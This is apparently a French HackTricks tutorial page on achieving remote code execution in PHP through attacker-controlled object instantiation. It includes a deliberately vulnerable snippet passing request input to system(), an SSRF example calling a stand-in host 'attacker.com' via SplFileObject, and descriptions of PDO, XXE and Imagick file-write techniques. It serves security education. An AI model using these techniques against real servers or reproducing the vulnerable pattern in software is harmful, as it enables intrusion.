PHP - RCE abusant de la création d'objets : new $_GET["a"]($_GET["b"])
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Ceci est essentiellement un résumé de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introduction
La création de nouveaux objets arbitraires, tels que new $_GET["a"]($_GET["a"])
, peut conduire à une exécution de code à distance (RCE), comme détaillé dans un writeup. Ce document met en évidence diverses stratégies pour atteindre la RCE.
RCE via des classes personnalisées ou l'autoloading
La syntaxe new $a($b)
est utilisée pour instancier un objet où $a
représente le nom de la classe et $b
est le premier argument passé au constructeur. Ces variables peuvent provenir des entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types.
Considérez l'extrait de code ci-dessous :
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Dans ce cas, définir $a
sur App
ou App2
et $b
sur une commande système (par exemple, uname -a
) entraîne l'exécution de cette commande.
Les fonctions d'autoloading peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes à partir de fichiers lorsque cela est nécessaire et sont définies à l'aide de spl_autoload_register
ou __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Le comportement de l'autoloading varie selon les versions de PHP, offrant différentes possibilités de RCE.
RCE via des classes intégrées
En l'absence de classes personnalisées ou d'autoloaders, les classes intégrées de PHP peuvent suffire pour le RCE. Le nombre de ces classes varie entre 100 et 200, en fonction de la version de PHP et des extensions. Elles peuvent être listées en utilisant get_declared_classes()
.
Les constructeurs d'intérêt peuvent être identifiés via l'API de réflexion, comme le montre l'exemple suivant et le lien https://3v4l.org/2JEGF.
Le RCE via des méthodes spécifiques inclut :
SSRF + Désérialisation Phar
La classe SplFileObject
permet le SSRF via son constructeur, permettant des connexions à n'importe quelle URL :
new SplFileObject('http://attacker.com/');
SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 utilisant le protocole Phar.
Exploitation des PDO
Le constructeur de la classe PDO permet des connexions à des bases de données via des chaînes DSN, ce qui peut potentiellement permettre la création de fichiers ou d'autres interactions :
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs SoapClient
et SimpleXMLElement
, en fonction de la version de libxml2.
RCE via l'extension Imagick
Dans l'analyse des dépendances d'un projet, il a été découvert qu'Imagick pouvait être utilisé pour l'exécution de commandes en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités.
Analyseur VID
La capacité de l'analyseur VID à écrire du contenu dans n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire à la mise en place d'un shell PHP dans un répertoire accessible via le web, réalisant ainsi une Exécution de Code à Distance (RCE).
Analyseur VID + Téléchargement de fichiers
Il est noté que PHP stocke temporairement les fichiers téléchargés dans /tmp/phpXXXXXX
. L'analyseur VID dans Imagick, utilisant le protocole msl, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour réaliser une écriture de fichiers arbitraire dans le système de fichiers.
Plantage PHP + Brute Force
Une méthode décrite dans le document original implique le téléchargement de fichiers qui déclenchent un plantage du serveur avant leur suppression. En forçant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est révélée efficace uniquement dans une version obsolète d'ImageMagick.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.